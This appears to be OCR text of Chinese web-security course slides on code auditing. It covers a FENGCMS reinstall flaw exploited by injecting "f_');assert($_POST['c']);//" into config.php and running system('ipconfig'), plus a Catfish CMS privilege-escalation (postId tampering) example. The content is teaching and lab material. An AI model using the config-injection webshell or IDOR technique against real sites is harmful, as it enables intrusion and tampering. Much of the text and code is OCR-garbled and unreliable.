Web安全漏洞及代碼審計(第2版):靶機(jī)其他類型漏洞與審計教學(xué)課件_第1頁
Web安全漏洞及代碼審計(第2版):靶機(jī)其他類型漏洞與審計教學(xué)課件_第2頁
Web安全漏洞及代碼審計(第2版):靶機(jī)其他類型漏洞與審計教學(xué)課件_第3頁
Web安全漏洞及代碼審計(第2版):靶機(jī)其他類型漏洞與審計教學(xué)課件_第4頁
Web安全漏洞及代碼審計(第2版):靶機(jī)其他類型漏洞與審計教學(xué)課件_第5頁
已閱讀5頁,還剩18頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

項目15靶機(jī)其他類型

漏洞與審計Web

安全漏洞及代碼審計(第2版)(微課版)項目知識準(zhǔn)備

系統(tǒng)重裝漏洞系統(tǒng)重裝漏洞是指管理人員將程序安裝成功后,沒有對安裝文件進(jìn)行加鎖或刪除操作,導(dǎo)致安裝文件可以被攻擊者進(jìn)一

步利用的漏洞。常見的系統(tǒng)重裝漏洞場景(1)無驗證功能,可任意重裝:在程序安裝成功后,管理人員沒有對其加鎖以生成lock

文件,使其無驗證

功能,因此攻擊者可以任意訪問安裝目錄進(jìn)行系統(tǒng)重裝。(

2

)

數(shù)step可控,可跳過驗證:程序通過$_GET

提交參數(shù)step來進(jìn)行安裝,如果參數(shù)step可控,則攻擊者可以直接從step1

跳到step3,從而跳過驗證,導(dǎo)致系統(tǒng)重裝漏洞。(

3

)

斷l(xiāng)ock

文件是否存在后,程序未終止:程序會判斷l(xiāng)ock文件是否存在,如果lock

文件存在,則會出

現(xiàn)JavaScript

代碼提示框,顯示提示信息“程序已安裝”,但是程序在提示后并未退出,而是繼續(xù)向下執(zhí)行,導(dǎo)致系統(tǒng)重裝漏洞。01項目知識準(zhǔn)備系統(tǒng)重裝漏洞系統(tǒng)重裝漏洞是指管理人員將程序安裝成功后,沒有對安裝文件進(jìn)行加鎖或刪除操作,導(dǎo)致安裝文件可以被攻擊者進(jìn)一

步利用的漏洞。常見的系統(tǒng)重裝漏洞場景(4)變量覆蓋導(dǎo)致系統(tǒng)重裝:通過GET

、POST等方式提交變量,覆蓋用于判斷是否安裝的變量,并將其設(shè)置為空值,使其繞過“是否安裝成功”的條件判斷,導(dǎo)致系統(tǒng)重裝漏洞。(5)解析漏洞導(dǎo)致系統(tǒng)重裝:在程序安裝成功后,install.php

文件會被重命名為install.php.bak,但是由

于Apache

的解析漏洞,如果無法識別最后一個后綴(如無法識別.bak),就會向上解析,因此install.php.bak文件會被向上解析為install.php文件,再結(jié)合安裝時的變量覆蓋,就可以進(jìn)行系統(tǒng)重裝了。01越權(quán)是指超出權(quán)限或權(quán)力范圍。大多數(shù)Web

應(yīng)用程序都有權(quán)限劃分和權(quán)限控制功能,但是如果權(quán)限校驗功能設(shè)計存在缺陷,攻擊者就可以通過這些權(quán)限漏洞來進(jìn)行不在自己權(quán)限范圍內(nèi)的操作。這些權(quán)限漏洞通常被稱為

越權(quán)漏洞,而越權(quán)又分為水平越權(quán)和垂直越權(quán)。水平越權(quán)指攻擊者可以執(zhí)行與自己權(quán)限相同的其他用戶的操作。例如,通過某系統(tǒng)可以查看個人資料,而賬號A

和賬號B的個人資料信息不同,可以認(rèn)為查看個人資料功能具備水平權(quán)限劃分,如果此時系統(tǒng)權(quán)限校驗不嚴(yán)格,導(dǎo)致用戶A

可以查看用戶B的個人資料,這就被稱為水平越權(quán)。垂直越權(quán)指低級別用戶可以訪問高級別用戶的資源。例如,后臺管理系統(tǒng)將用戶分為管理員和普通

用戶,管理員有后臺管理功能而普通用戶沒有,如果此時普通用戶可以通過攻擊手段執(zhí)行只有管理員才有權(quán)限進(jìn)行的操作,這就被稱為垂直越權(quán)。01

項目知識準(zhǔn)備

越權(quán)漏洞任務(wù)1

系統(tǒng)重裝漏洞分析及代碼審計02任務(wù)1

系統(tǒng)重裝漏洞分析及代碼審計任務(wù)目標(biāo)能夠進(jìn)行系統(tǒng)重裝漏洞的分析及代碼審計了解《中華人民共和國密碼法》。

任務(wù)實施1.環(huán)境搭建本任務(wù)使用FENGCMS1.0,在下載源代碼后,將壓縮包解壓縮到根目錄中,并訪問http://localhost/install/index.php,進(jìn)入安裝向?qū)Ы缑妫鐖D15-1所示。02任務(wù)1

系統(tǒng)重裝漏洞分析及代碼審計單擊“開始安裝”按鈕,進(jìn)入環(huán)境檢測界面,檢測程序部署的安裝環(huán)境是否滿足要求,如圖15-2所示。單擊

“下一步”按鈕,進(jìn)入數(shù)據(jù)庫安裝界面,填寫數(shù)據(jù)庫的配置信息,如圖15-3所示。FENGGMSFENGGMS數(shù)據(jù)庫主機(jī):ocalhost數(shù)據(jù)庫用戶名:數(shù)據(jù)庫密碼:數(shù)據(jù)庫名稱數(shù)據(jù)表前綴是否開啟偽靜態(tài)◎開啟偽靜態(tài)○關(guān)閉偽靜態(tài)檢查項目當(dāng)前環(huán)境FengCms建議功能影響操作系統(tǒng)WindowsNTDESKTOP-GOLFOES6.2build9200(Windows8Business

Edition)5B6Windows_NT/Linux

/fFreebsdWEB服務(wù)器Apache/2.4.23(Win32)OpenSSL/1.0.2j

PHP/5.4.45Apache/Nginx/ISPHP版本PHP5.4.45PHP5.2.0及以上MYSQL擴(kuò)展√mysql或mysqli必須開啟其一

任務(wù)實施1.環(huán)境搭建在信息填寫完成后,單擊“下一步”按鈕,即可開始安裝。在安裝成功后,界面如圖15-4所示。FENGCMS您的網(wǎng)站后臺地址:/admin/login.php用戶名:admin密碼:123456

認(rèn)證碼:8888(認(rèn)證碼在根目錄“config.php”中修改)為了您的網(wǎng)站安全,您在完成本安裝操作后,需要做一下工作:1、將后臺

admin

目錄改名,防止別人猜到你的網(wǎng)站后臺地址。2、修改后臺密碼,默認(rèn)為123456,修改為復(fù)雜的密碼,最好包含字母數(shù)字特殊字符。3、在根目錄的conig.php文件中,將網(wǎng)站后臺認(rèn)證碼修改。4、隨時關(guān)注

FengCms

官方網(wǎng)站,以獲取最新的升級補丁,

5、手工刪除/instal)目錄,或其中的文件。02任務(wù)1

系統(tǒng)重裝漏洞分析及代碼審計

任務(wù)實施1.環(huán)境搭建網(wǎng)站后臺網(wǎng)站首頁在/install/index.php文件中,首先會定義配置文件和數(shù)據(jù)庫的當(dāng)前路徑;然后會檢測在upload

目錄下是否存在INSTALL

文件,如果存在,則會提示“系統(tǒng)已安裝,如需要重新安裝,請手動刪除upload

目錄下的INSTALL文件!”,但是程序并不會終止執(zhí)行,只是會彈出提示窗口,并正常繼續(xù)向下執(zhí)行“安裝許可協(xié)議”“檢測安裝環(huán)境是否滿足要求”

“填寫數(shù)據(jù)庫信息”等步驟。代碼如下:if(!S_GET['step')S_GET['step']=1;Sconfig_file=ROOT_PATH/config.php';Sinstall_fle=ABS_PATH./install.sql";if(file_exists(ROOT_PATH'/upload/INSTALL){echo-<script

type="text/javascript">alert("系統(tǒng)已安裝,如需要重新安裝,請手動刪除upload

錄下的INSTALL

文件!");</script;…echo'<metahttp-equiv="refresh"content="0;url=/">;02任務(wù)1

系統(tǒng)重裝漏洞分析及代碼審計

任務(wù)實施2.漏洞分析在/install/install.php文件中,首先會通過POST方式傳入數(shù)據(jù)庫的相關(guān)參數(shù),如數(shù)據(jù)庫地址、用戶名、密碼、

數(shù)據(jù)庫名稱等;然后需要連接數(shù)據(jù)庫,如果連接數(shù)據(jù)庫失敗,就會提示“連接數(shù)據(jù)庫失敗!請返回上一頁檢

查連接參數(shù)”,如果數(shù)據(jù)庫不存在,就會自動創(chuàng)建數(shù)據(jù)庫。在創(chuàng)建數(shù)據(jù)庫后,可以通過fopen()函數(shù)以寫入的方式打開config.php

文件,通過fwrite()函數(shù)將配置信息寫入配置文件config.php。

由于在將信息寫入配

置文件時,沒有對寫入的文件內(nèi)容進(jìn)行校驗,因此可以將惡意代碼寫入配置文件config.php,

然后導(dǎo)入配置信息并執(zhí)行寫入的代碼,代碼如下:fSPOST[installD(include_conce(ABS

PATH."confgpp");→→

導(dǎo)入配置信息→11-如果數(shù)據(jù)庫不存在,就創(chuàng)建數(shù)據(jù)庫mc

Jucf-javacihitoye

據(jù)

蓮colo,-請0-號否嬴足夠的權(quán)限!

hr02任務(wù)1

系統(tǒng)重裝漏洞分析及代碼審計

任務(wù)實施2.漏洞分析直接訪問http://localhost/install/index.php,會提示“系統(tǒng)已安裝,如需要重新安裝,請手動刪除upload目錄下的INSTALL文件!”,如圖15-5所示。但是在單擊“確定”按鈕后,代碼仍會繼續(xù)執(zhí)行??梢栽趶棾鼋缑娴摹皵?shù)據(jù)庫主機(jī)”文本框中輸入“l(fā)ocalhost”,在“數(shù)據(jù)庫用戶名”和“數(shù)據(jù)庫密碼”文本框中均輸入

“root”,在“數(shù)據(jù)庫名稱”文本框中輸入

“fengcms”,

并且當(dāng)想要將惡意代碼寫入配置文件時,可以在

“數(shù)據(jù)表前綴”文本框中輸入惡意代碼“f_');assert($_POST['c']);//”,如圖15-6所示。回

B

192168.1.13/ntal/ndex

phpFENGCMS02任務(wù)1

系統(tǒng)重裝漏洞分析及代碼審計

任務(wù)實施3.漏洞利用02任務(wù)1

系統(tǒng)重裝漏洞分析及代碼審計

任務(wù)實施當(dāng)將惡意代碼寫入配置文件后,插入的惡意代碼“f_');assert($_POST['c']);//”會閉合前面定義的數(shù)據(jù)表前綴內(nèi)容,并注釋掉語句后面的部分,以執(zhí)行插入的assert()函數(shù)。在配置文件中寫入的惡意代碼如圖15-7所示。在惡意代碼寫入成功后,訪問http:///POST

數(shù)據(jù):"c=system('ipconfig');,

結(jié)果如圖15-8所示。defined('TPL_INCLUDE')ordie('Restricted

access');define('DB_HOST','LocaLhost');define('DB_USER','root');define('DB_PASS','root');define('DB_NAME','fengcms');define('DB_TYPE','mysqli');支持mysqL

和mysqli的方式,默認(rèn)安裝為mysqli方式define('DB_PREFIX','f_');assert(s_POSTI'c'));//');

//表擴(kuò)展名安裝后請勿修改3.漏洞利用//用戶//密碼//庫名//類型能夠進(jìn)行越權(quán)漏洞的分析及代碼審計堅持總體國家安全觀。03任務(wù)2越權(quán)漏洞分析及代碼審計

任務(wù)目標(biāo)本任務(wù)使用Catfish(

)CMSV4.5.7,將程序源代碼部署在根目錄中,訪問http://localhost,

進(jìn)

入“Catfish

(

)CMS安裝向?qū)А苯缑?,如圖15-9所示。

任務(wù)實施1.環(huán)境搭建許可您的權(quán)種:03任務(wù)2越權(quán)漏洞分析及代碼審計Catan絲魚)CMS安裝向?qū)?.5.7◎

檢測環(huán)境創(chuàng)建數(shù)據(jù)◎完成安裝環(huán)填檢測推薦配置當(dāng)前狀態(tài)最任要求操作系統(tǒng)奧LNOWINNT不PAP版本54X√

5.4.4554.0PO開啟√

已開啟開啟POO.MyGCL開啟已開啟開啟附件上傳2M√

2M不限制ourt開啟√

已開啟開啟seslon開啟√

支持開啟日錄、文件權(quán)跟檢查寫入讀取√

可寫√

可讀/dn√

可寫可讀edatakpbods可寫√

可讀單擊“接受”按鈕,進(jìn)入“檢測環(huán)境”界面,檢測操作系統(tǒng)、PHP版本、數(shù)據(jù)庫版本,以及目錄、文件權(quán)限

等是否滿足安裝需求,如圖15-10所示。

任務(wù)實施1.環(huán)境搭建03任務(wù)2越權(quán)漏洞分析及代碼審計

任務(wù)實施在環(huán)境檢測成功后,單擊界面底部的“下一步”按鈕,進(jìn)入“創(chuàng)建數(shù)據(jù)”界面,填寫本地數(shù)據(jù)庫信息,以及預(yù)創(chuàng)建的管理員賬號和密碼等,如圖15-11所示。在信息填寫完成后,單擊界面底部的“創(chuàng)建數(shù)據(jù)”按鈕,

即可開始安裝。在安裝完成后,界面如圖15-12所示。Cationm)CMS安新向?qū)?/p>

V4.5.7檢測環(huán)境創(chuàng)建數(shù)據(jù)

○完成安裝站點信息數(shù)勝庫服務(wù)器:ooto酷籃肉服務(wù)溫地址,一最%ocot版繼庫建口3006籃腐服務(wù)路道口,一般力006數(shù)瓶庫用戶者rout勝組店密班數(shù)超庫名:cmth如使用已綠件在的酷出庫,請獨應(yīng)實際佬用的監(jiān)留庫名Q

Catfish(數(shù)魚)CMS

安裝向?qū)遣皇沁€沉漫在安裝的快樂之中,但安裝已經(jīng)結(jié)束啦,接下來您將在使用站點的過程中繼

續(xù)快樂,讓我們開始吧!1.環(huán)境搭建恭喜您,安裝完成!03任務(wù)2越權(quán)漏洞分析及代碼審計fRequest:instanceo->has(postid:post)Svalidate=newValidate(Srule,Smsg):i(ISvalidate>checkSdata)Sthis->error($validate->getErrorO);//驗證錯誤輸出return

false;Sneirong-str_replace(<img,'cimgclass="img-responsive"'.Request:instanceO->postCneirong));Sguanjianci-str_eplacec,Request:instanceoSpostcguanjianci)htmlspecialchars(Request:instanceO->post(biaoti)

。

'post_excerpthtmlspecialchars(Request:instanceo->postczhaiyao),'comment_status'→Request:instanceo->post(pinglun),post_modified

date("Ym-d

His").post_type’→Request:instanceo->post(xingshi.thumbnair->Request:instanceo->post(tuijian)]:Db:namecposts)>whereCid,Request:instanceO->postCpostId))>update(Sdata);漏洞觸發(fā)點在rewrite()

函數(shù)中。跟蹤rewrite()

函數(shù)可以看到,postId

通過POST方式傳遞并被賦值給變量id,

在通過where()方法查詢數(shù)據(jù)后,如果沒有進(jìn)行權(quán)限校驗,就會更新修改的內(nèi)容。當(dāng)在編輯或修改文章時,將postId

修改為其他用戶的postId,

即可越權(quán)修改其他用戶的文章內(nèi)容,代碼如下:

任務(wù)實施2.漏洞分析03任務(wù)2越權(quán)漏洞分析及代碼審計分類:

全部C內(nèi)容管理·時間:寫文章批量操作:所有文章分類:

全部

時間:回收站標(biāo)題點擊量評論量作者批量操作:TESTO100TESTO1退出標(biāo)題點擊量評論量作者頁面執(zhí)行時間:0.05848TESTO200TESTO2進(jìn)

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論